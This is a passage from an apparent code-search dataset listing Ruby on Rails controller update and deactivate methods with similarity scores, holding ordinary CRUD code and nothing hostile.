"def update\n @recurso = Recurso.find(params[:id])\n\n respond_to do |format|\n if @recurso.update_attributes(params[:recurso])\n format.html { redirect_to @recurso, notice: 'O recurso de auto de infração foi atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @recurso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @servico.update(servico_params)\n format.html { redirect_to servicos_url, notice: 'Serviço atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @servico }\n else\n format.html { render :edit }\n format.json { render json: @servico.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n params[:resource][:term_ids] || []\n @resource = Resource.find(params[:id])\n\n respond_to do |format|\n if @resource.update_attributes(params[:resource])\n format.html { redirect_to @resource, notice: 'Resource was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @squishee_cup = SquisheeCup.find(params[:id])\n puts params.to_json\n respond_to do |format|\n if @squishee_cup.update_attributes(params[:squishee_cup])\n format.html { redirect_to @squishee_cup, notice: 'Squishee cup was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @squishee_cup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def UpdateView params = {}\n \n APICall(path: 'views.json',method: 'PUT',payload: params.to_json)\n \n end",
"def put(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_put(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end",
"def update\n @historial = Historial.find(params[:id])\n\n respond_to do |format|\n if @historial.update_attributes(params[:historial])\n format.html { redirect_to @historial.cartucho, notice: 'Historial was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @historial.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(path, options={})\n request :put, path, options\n end",
"def update\n dream = Dream.find params[:id]\n dream.update dream_params\n render json: {dream: dream}\n end",
"def update\n respond_to do |format|\n if @tipoapreensao.update(tipoapreensao_params)\n format.html { redirect_to @tipoapreensao, notice: 'Tipoapreensao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipoapreensao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @inventario_cosa.update(inventario_cosa_params)\n format.html { redirect_to @inventario_cosa, notice: 'Inventario cosa was successfully updated.' }\n format.json { render :show, status: :ok, location: @inventario_cosa }\n else\n format.html { render :edit }\n format.json { render json: @inventario_cosa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def manage_convenios(resource)\n resource ||= JSON.parse(resource.to_json)\n resource.each do |_key, value|\n\n @cliente_convenio = self.cliente_convenios.find_by(id: value[\"cliente_convenio_id\"].to_i) if value[\"cliente_convenio_id\"].present?\n if value['option']==\"edit\" and !@cliente_convenio.nil?\n @cliente_convenio.update_attributes(convenio_id: value[\"convenio_id\"],\n status_convenio: value[\"status_convenio\"],\n validade_carteira: value[\"validade_carteira\"],\n matricula: value[\"matricula\"],\n produto: value[\"produto\"],\n titular: value[\"titular\"],\n plano: value[\"plano\"],\n via: value[\"via\"],\n observacoes: value[\"observacoes\"],\n utilizando_agora: value[\"utilizando_agora\"])\n else\n @cliente_convenio = self.cliente_convenios.build(convenio_id: value[\"convenio_id\"].to_i,\n status_convenio: value[\"status_convenio\"],\n validade_carteira: value[\"validade_carteira\"],\n matricula: value[\"matricula\"],\n produto: value[\"produto\"],\n titular: value[\"titular\"],\n plano: value[\"plano\"],\n via: value[\"via\"],\n observacoes: value[\"observacoes\"],\n utilizando_agora: value[\"utilizando_agora\"])\n @cliente_convenio.save!\n end\n end\n end",
"def update\n Neo4j::Transaction.run do\n @q_resource = QResource.find(params[:id])\n @q_resource.update_attributes!(params[:q_resource])\n respond_to do |format|\n if @q_resource.update_attributes(params[:q_resource])\n format.html { redirect_to @q_resource, :notice => 'Q resource was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @q_resource.errors, :status => :unprocessable_entity }\n end\n end\n end\n end",
"def update\n put :update\n end",
"def update\n @safra_verdoso = SafraVerdoso.find(params[:id])\n\n respond_to do |format|\n if @safra_verdoso.update_attributes(params[:safra_verdoso])\n format.html { redirect_to \"/safra_produtos/#{@safra_verdoso.safra_produto_id}/descontos\"}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @safra_verdoso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put( doc, opts = {} )\n response = http_action :put, doc, opts.merge( :doc => doc )\n doc['_id'], doc['_rev'] = response['id'], response['rev'] if doc.kind_of? Hash\n response\n end",
"def update\n product = Product.find(params[:id])\n product_details = params.permit(:title, :inventory_count, :price)\n\n product.update(product_details)\n\n render json: product\n end",
"def update\n respond_to do |format|\n\n format.json { render json: Axis.find(params[:id]).update( name: params[:name]) }\n end\n\n # end\n end",
"def update\n @hero = Hero.find(params[:id])\n\n if @hero.update(hero_params)\n head :no_content\n else\n render json: @hero.errors, status: :unprocessable_entity\n end\n end",
"def update\n @data = @recipe.update(params[:id], recipe_params)\n render json: @data\n end",
"def update\n @clue = Clue.find(params[:id])\n\n respond_to do |format|\n if @clue.update_attributes(params[:clue])\n format.html { redirect_to @clue, notice: 'Clue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @clue = Clue.find(params[:id])\n\n respond_to do |format|\n if @clue.update_attributes(params[:clue])\n format.html { redirect_to @clue, notice: 'Clue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def do_PUT(req, res)\n perform_proxy_request(req, res) do |http, path, header|\n http.put(path, req.body || '', header)\n end\n end",
"def update\n respond_to do |format|\n if @shoe.update(shoe_params)\n format.html { redirect_to runner_shoes_path, notice: 'Zapatilla actualizada satisfactoriamente.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @shoe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @choice = Choice.find(params[:id])\n\n if @choice.update(choice_params)\n head :no_content\n else\n render json: @choice.errors, status: :unprocessable_entity\n end\n end",
"def put(path, doc = nil, options = {})\n execute('PUT', path, options, doc)\n end",
"def update\n respond_to do |format|\n if @apoio.update(apoio_params)\n format.html { redirect_to @apoio, notice: 'Apoio was successfully updated.' }\n format.json { render :show, status: :ok, location: @apoio }\n else\n format.html { render :edit }\n format.json { render json: @apoio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @shoe = Shoe.find(params[:id])\n\n respond_to do |format|\n if @shoe.update_attributes(params[:shoe])\n format.html { redirect_to @shoe, notice: 'Shoe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shoe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @one = One.find(params[:id])\n\n respond_to do |format|\n if @one.update_attributes(params[:one])\n format.html { redirect_to @one, notice: 'One was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @one.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @capitulo.update(capitulo_params)\n format.html { redirect_to @capitulo, notice: 'Capitulo was successfully updated.' }\n format.json { render :show, status: :ok, location: @capitulo }\n else\n format.html { render :edit }\n format.json { render json: @capitulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def activo_update\n respond_to do |format|\n activo = params[:laboratorio][:activo]\n id = params[:id]\n Laboratorio.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end",
"def update\n respond_to do |format|\n if @hospice.update(hospice_params)\n format.html { redirect_to @hospice, notice: 'Hospice was successfully updated.' }\n format.json { render :show, status: :ok, location: @hospice }\n else\n format.html { render :edit }\n format.json { render json: @hospice.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_api_v1_todo\n @api_v1_todo = Todo.find(params[:id])\n end",
"def update\n @troop = Troop.find(params[:id])\n\n respond_to do |format|\n if @troop.update_attributes(params[:troop])\n format.html { redirect_to @troop, notice: 'Troop was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @troop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @spice.update(spice_params)\n head :no_content\n else\n render json: @spice.errors, status: :unprocessable_entity\n end\n end",
"def update\n @chair = @shop.chairs.find(params[:id])\n\n if @chair.update_attributes(params[:chair])\n render json: { p:params[:chair] }\n else\n render json: { failed:true }\n end\n\n return\n respond_to do |format|\n if @chair.update_attributes(params[:chair])\n format.html { redirect_to @chair, notice: 'Chair was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @chair.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, Tipo\n respond_to do |format|\n if @tipo.update(tipo_params)\n log(\"Se ha editado la nomina #{@lt}\", 1)\n format.html { redirect_to tipos_path, notice: 'Los datos de la nómina fueron actualizados exitosamente.' }\n format.json { head :no_content }\n end\n end\n end",
"def update_radios_for_array(args = {}) \n put(\"/radios.json/#{args[:arrayId]}\", args)\nend",
"def update\n @sitio = Sitio.find(params[:id])\n\n respond_to do |format|\n if @sitio.update_attributes(params[:sitio])\n format.html { redirect_to @sitio, notice: 'Sitio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sitio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def _http_put resource, path\n uri = ::URI.parse(resource.auth_uri)\n path = _path uri, path\n request = Net::HTTP::Put.new(path)\n _build_request resource, request\nend",
"def _http_put resource, path\n uri = ::URI.parse(resource.auth_uri)\n path = _path uri, path\n request = Net::HTTP::Put.new(path)\n _build_request resource, request\nend",
"def update\n @coisa = Coisa.find(params[:id])\n\n respond_to do |format|\n if @coisa.update_attributes(params[:coisa])\n format.html { redirect_to @coisa, :notice => 'Coisa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @coisa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @oferta = Oferta.find(params[:id])\n\n respond_to do |format|\n if @oferta.update_attributes(params[:oferta])\n format.html { redirect_to [:admin, @oferta], :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @oferta.errors, :status => :unprocessable_entity }\n end\n end\n end"
] | [
"0.62771356",
"0.6196834",
"0.6012672",
"0.59981066",
"0.5987398",
"0.5973499",
"0.5958063",
"0.5890946",
"0.58825177",
"0.58708787",
"0.58613443",
"0.5828852",
"0.58155924",
"0.58119524",
"0.5797129",
"0.57598126",
"0.57539856",
"0.57539666",
"0.57370955",
"0.5734351",
"0.57221836",
"0.57221836",
"0.57102036",
"0.5701389",
"0.56976676",
"0.56962335",
"0.56960434",
"0.5694166",
"0.5691643",
"0.5660765",
"0.56582105",
"0.5650709",
"0.5650318",
"0.5644617",
"0.5643154",
"0.56414974",
"0.5635159",
"0.56329894",
"0.56315184",
"0.56296295",
"0.561171",
"0.5605543",
"0.5588116",
"0.55861294",
"0.5585866",
"0.55856895",
"0.55853164",
"0.5575835",
"0.5575816",
"0.5573228",
"0.5570645",
"0.5570118",
"0.5570118",
"0.55684996",
"0.55645186",
"0.55553526",
"0.55512667",
"0.5550631",
"0.5550016",
"0.55465317",
"0.5545116",
"0.5544069",
"0.55438304",
"0.5543404",
"0.5541751",
"0.552921",
"0.55268407",
"0.55245095",
"0.5522645",
"0.5517561",
"0.5516008",
"0.5514057",
"0.55138206",
"0.5510694",
"0.5503458",
"0.550304",
"0.550244",
"0.549928",
"0.5498431",
"0.5498431",
"0.54968077",
"0.54961073",
"0.5489381",
"0.5485776",
"0.5484944",
"0.5475787",
"0.5475258",
"0.5472643",
"0.5470696",
"0.54705554",
"0.5466839",
"0.5462908",
"0.5461306",
"0.54605013",
"0.54600304",
"0.5457057",
"0.5456719",
"0.5454837",
"0.5454311",
"0.5453955",
"0.54531574"
] | 0.0 | -1 |
DELETE /chores/1 DELETE /chores/1.json | def destroy
if @chore.cron_str
puts "Removing #{@chore.id} from crontab #{@chore.cron_str}"
CronEdit::Crontab.Remove "chore_#{@chore.id}"
end
@chore.destroy
respond_to do |format|
format.html { redirect_to chores_url }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @v1_chore = Chore.where(id: params[:id])\n if @v1_chore.destroy\n head(:ok)\n else\n head(:unprocessable_entity)\n end\n end",
"def destroy\n @relogio = Relogio.find(params[:id])\n @relogio.destroy\n\n respond_to do |format|\n format.html { redirect_to relogios_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @respuesta = Respuesta.find(params[:id])\n @respuesta.destroy\n\n respond_to do |format|\n format.html { redirect_to respuestas_url }\n format.json { head :no_content }\n end\n end",
"def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @trecho = Trecho.find(params[:id])\n @trecho.destroy\n\n respond_to do |format|\n format.html { redirect_to trechos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @chore = Chore.find(params[:id])\n @chore.destroy\n\n respond_to do |format|\n format.html { redirect_to chores_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @respuesta = Respuesta.find(params[:id])\n @respuesta.destroy\n\n head :no_content\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def destroy\n @simple_chore.destroy\n respond_to do |format|\n format.html { redirect_to simple_chores_url, notice: 'Simple chore was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @remito = Remito.find(params[:id])\n @remito.destroy\n\n respond_to do |format|\n format.html { redirect_to remitos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @prueba_json.destroy\n respond_to do |format|\n format.html { redirect_to prueba_jsons_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @colegio = Colegio.find(params[:id])\n @colegio.destroy\n\n respond_to do |format|\n format.html { redirect_to colegios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @chaine = Chaine.find(params[:id])\n @chaine.destroy\n\n respond_to do |format|\n format.html { redirect_to chaines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @one = One.find(params[:id])\n @one.destroy\n\n respond_to do |format|\n format.html { redirect_to ones_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def destroy\n @autore = Autore.find(params[:id])\n @autore.destroy\n\n respond_to do |format|\n format.html { redirect_to autores_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @resa.destroy\n respond_to do |format|\n format.html { redirect_to resas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @couch.destroy\n respond_to do |format|\n format.html { redirect_to couches_url, notice: 'Couche was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def api_delete(path, data = {})\n api_request(:delete, path, :data => data)\n end",
"def destroy\n @chore = Chore.find(params[:id])\n @chore.destroy\n\n respond_to do |format|\n format.html { redirect_to(chores_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @recoleccion = Recoleccion.find(params[:id])\n @recoleccion.destroy\n\n respond_to do |format|\n format.html { redirect_to recoleccions_url }\n format.json { head :no_content }\n end\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def destroy\n \n respond_to do |format|\n RestClient.delete 'localhost:3001/colores/'[email protected]_s, {:Authorization => 'admin irizREhyoG6Ejwr4AcjsQME9'}\n format.html { redirect_to colors_url, notice: \"Color was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @uchronia = Uchronia.find(params[:id])\n @uchronia.destroy\n\n respond_to do |format|\n format.html { redirect_to uchronias_url }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n request 'DELETE', path\n end",
"def destroy\n @exura = Exura.find(params[:id])\n @exura.destroy\n\n respond_to do |format|\n format.html { redirect_to exuras_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @respuestum.destroy\n respond_to do |format|\n format.html { redirect_to comentarios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @convo = Convo.find(params[:id])\n @convo.destroy\n\n respond_to do |format|\n format.html { redirect_to convos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n client=Client.find_by_id(params[:id])\n if client != nil\n if client.destroy\n head 204\n end\n else\n head 404\n end\n end",
"def destroy\n @areco = Areco.find(params[:id])\n @areco.destroy\n\n respond_to do |format|\n format.html { redirect_to arecos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @lore = Lore.find(params[:id])\n @lore.destroy\n\n respond_to do |format|\n format.html { redirect_to lores_url }\n format.json { head :no_content }\n end\n end",
"def do_delete(uri = \"\")\n @connection.delete do |req|\n req.url uri\n req.headers['Content-Type'] = 'application/json'\n end\n end",
"def destroy\n @repa = Repa.find(params[:id])\n @repa.destroy\n\n respond_to do |format|\n format.html { redirect_to repas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @repa = Repa.find(params[:id])\n @repa.destroy\n\n respond_to do |format|\n format.html { redirect_to repas_url }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n request(:delete, path)\n end",
"def destroy\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n @agronomiaquimica.destroy\n\n respond_to do |format|\n format.html { redirect_to agronomiaquimicas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @consumo = Consumo.find(params[:id])\n @consumo.destroy\n\n respond_to do |format|\n format.html { redirect_to consumos_url }\n format.json { head :no_content }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @veiculo = Veiculo.find(params[:id])\n @veiculo.destroy\n\n respond_to do |format|\n format.html { redirect_to veiculos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recurso = Recurso.find(params[:id])\n @recurso.destroy\n\n respond_to do |format|\n format.html { redirect_to recursos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @retroaspecto = Retroaspecto.find(params[:id])\n @retroaspecto.destroy\n\n respond_to do |format|\n format.html { redirect_to retroaspectos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :no_content }\n end\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def destroy\n @reconocimiento = Reconocimiento.find(params[:id])\n @reconocimiento.destroy\n\n respond_to do |format|\n format.html { redirect_to reconocimientos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @rescate.destroy\n respond_to do |format|\n format.html { redirect_to rescates_url, notice: 'Rescate fue eleminado' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quiebre.destroy\n respond_to do |format|\n format.html { redirect_to quiebres_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def destroy\n @chore = Chore.find(params[:id])\n @chore.destroy\n\n respond_to do |format|\n format.html { redirect_to(chores_path, :notice => 'Chore deleted.') }\n format.xml { head :ok }\n end\n end",
"def delete!( opts = {} )\n http_action :delete, nil, opts\n end",
"def delete\n render json: Company.delete(params[\"id\"])\n end",
"def destroy\n @odontologia1 = Odontologia1.find(params[:id])\n @odontologia1.destroy\n\n respond_to do |format|\n format.html { redirect_to odontologia1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @razmer_go = RazmerGo.find(params[:id])\n @razmer_go.destroy\n\n respond_to do |format|\n format.html { redirect_to razmer_gos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fulcliente = Fulcliente.find(params[:id])\n @fulcliente.destroy\n\n respond_to do |format|\n format.html { redirect_to fulclientes_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @couch.destroy\n respond_to do |format|\n format.html { redirect_to couches_url, notice: 'Couch was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @repuestum = Repuestum.find(params[:id])\n @repuestum.destroy\n\n respond_to do |format|\n format.html { redirect_to repuesta_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @humanidades1 = Humanidades1.find(params[:id])\n @humanidades1.destroy\n\n respond_to do |format|\n format.html { redirect_to humanidades1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @chocovoteur.destroy\n respond_to do |format|\n format.html { redirect_to chocovoteurs_url, notice: 'Chocovoteur was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def deletes_to(path,opts={},&block) #:nodoc: \n crud_to(:delete,path,opts[:params] || {},opts,&block)\n end",
"def destroy\n @api_v1_todo.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @curso.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @cliente.destroy\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @servico_pacote.destroy\n respond_to do |format|\n format.html { redirect_to servico_pacotes_url }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n\t\trequest(path, :delete)\n\tend",
"def destroy\n resource.destroy\n render json: {success: true}, status: :ok\n end",
"def destroy\n resource.destroy\n render json: {success: true}, status: :ok\n end",
"def destroy\n @reclamo = Reclamo.find(params[:id])\n @reclamo.destroy\n\n respond_to do |format|\n format.html { redirect_to(reclamos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @dato = Dato.find(params[:id])\n @dato.destroy\n\n respond_to do |format|\n format.html { redirect_to datos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @safra_verdoso = SafraVerdoso.find(params[:id])\n @safra_verdoso.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/safra_produtos/#{@safra_verdoso.safra_produto_id}/descontos\"}\n format.json { head :no_content }\n end\n end",
"def destroy1\n @todo = Todo.find(params[:id])\n @todo.destroy\n\n respond_to do |format|\n format.html { redirect_to(todos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @cargo_eleicao = CargoEleicao.find(params[:id])\n @cargo_eleicao.destroy\n\n respond_to do |format|\n format.html { redirect_to cargo_eleicaos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @chapitre.destroy\n respond_to do |format|\n format.html { redirect_to chapitres_url, notice: 'Chapitre was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete!\n request! :delete\n end",
"def destroy\n @chore.destroy\n respond_to do |format|\n format.html { redirect_to chores_url, notice: 'Chore was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @antropo.destroy\n respond_to do |format|\n format.html { redirect_to antropos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @requerimiento = Requerimiento.find(params[:id])\n @requerimiento.destroy\n\n respond_to do |format|\n format.html { redirect_to requerimientos_url }\n format.json { head :ok }\n end\n end",
"def delete\n RestClient.delete(url, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end",
"def destroy\n @addre = Addre.find(params[:id])\n @addre.destroy\n\n respond_to do |format|\n format.html { redirect_to addres_url }\n format.json { head :no_content }\n end\n end",
"def delete\n supprimer = QuestionOuverteService.instance.supprimerQuestion(params[:id])\n (supprimer) ? (render json: true, status: :ok) : (render json: false, status: :not_found)\n end",
"def delete(*rest) end",
"def delete(resource)\n headers = base_headers.merge('Content-Type' => 'application/json')\n url = \"#{@base_url}/#{resource}\"\n\n @logger.debug(\"DELETE request Url: #{url}\")\n @logger.debug(\"-- Headers: #{headers}\")\n\n x = HTTParty.delete(url, headers: headers)\n puts x.inspect\n x\n end",
"def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end",
"def delete(*args)\n prepare_request(:delete, args)\n @@client.add(:delete, @path, *args)\n end",
"def delete\n start { |connection| connection.request http :Delete }\n end",
"def destroy\n @presenza = Presenza.find(params[:id])\n @presenza.destroy\n\n respond_to do |format|\n format.html { redirect_to presenze_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @conta.destroy\n params[:id] = nil\n respond_to do |format|\n format.html { redirect_to contas_path, notice: @@titulo + t('msg.remove') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asignatura.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @escola = Escola.find(params[:id])\n @escola.destroy\n\n respond_to do |format|\n format.html { redirect_to escolas_url }\n format.json { head :no_content }\n end\n end"
] | [
"0.7116329",
"0.6966691",
"0.68851936",
"0.687377",
"0.6866558",
"0.6849486",
"0.6830195",
"0.67674917",
"0.67503357",
"0.6733298",
"0.67235756",
"0.67218965",
"0.67200875",
"0.6710213",
"0.6709624",
"0.6709523",
"0.6704778",
"0.6683748",
"0.6662799",
"0.6644471",
"0.6643353",
"0.6640483",
"0.6638277",
"0.6632631",
"0.66247135",
"0.66219574",
"0.6614864",
"0.6614864",
"0.66110057",
"0.6607922",
"0.66015214",
"0.65997565",
"0.65972656",
"0.65928996",
"0.6590696",
"0.65865713",
"0.6586477",
"0.65854716",
"0.6575707",
"0.6575642",
"0.6575533",
"0.6575533",
"0.6573167",
"0.65725183",
"0.6569917",
"0.6569874",
"0.6569874",
"0.6569874",
"0.6569874",
"0.6569578",
"0.6567086",
"0.6566429",
"0.65651554",
"0.65651554",
"0.65651554",
"0.65615535",
"0.65600574",
"0.65578634",
"0.6557552",
"0.6555732",
"0.65551734",
"0.6554996",
"0.65541047",
"0.6543593",
"0.6539155",
"0.65377915",
"0.6536838",
"0.6532026",
"0.6531256",
"0.65309596",
"0.6521509",
"0.65199625",
"0.65168506",
"0.65162975",
"0.6516287",
"0.6513513",
"0.651314",
"0.65106946",
"0.65106946",
"0.6508978",
"0.6502644",
"0.6502463",
"0.6501833",
"0.6499545",
"0.64992553",
"0.64920527",
"0.6491257",
"0.64911515",
"0.6490798",
"0.649052",
"0.6488968",
"0.6488253",
"0.64848197",
"0.6484531",
"0.6484024",
"0.6483955",
"0.648289",
"0.6482174",
"0.6482046",
"0.6479999",
"0.6478084"
] | 0.0 | -1 |
PUT /chores/1/deactivate PUT /chores/1/deactivate.json | def deactivate
permission_denied unless @chore.active
@chore.update_attribute(:active, false)
redirect_to chores_url, notice: "Chore was successfully deactivated"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def deactivate!\n update(status: false)\n end",
"def deactivate\n @administrator.deactivate\n respond_to do |format|\n format.html { redirect_to %i[admin settings root], notice: t('.success') }\n format.json { head :no_content }\n end\n end",
"def deactivate!\n update!(active: false)\n bank_guarantee.try(:deactivate!)\n end",
"def destroy\n @resource = Resource.find(params[:id])\n @resource.deactivate!\n\n respond_to do |format|\n format.html { redirect_to(edit_admin_resource_url(@resource)) }\n format.xml { head :ok }\n end\n end",
"def deactivate\n @user = User.find(params[:id])\n @user.deactivate\n redirect_to :back\n end",
"def deactivate\n\t @user.update(:active => false)\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
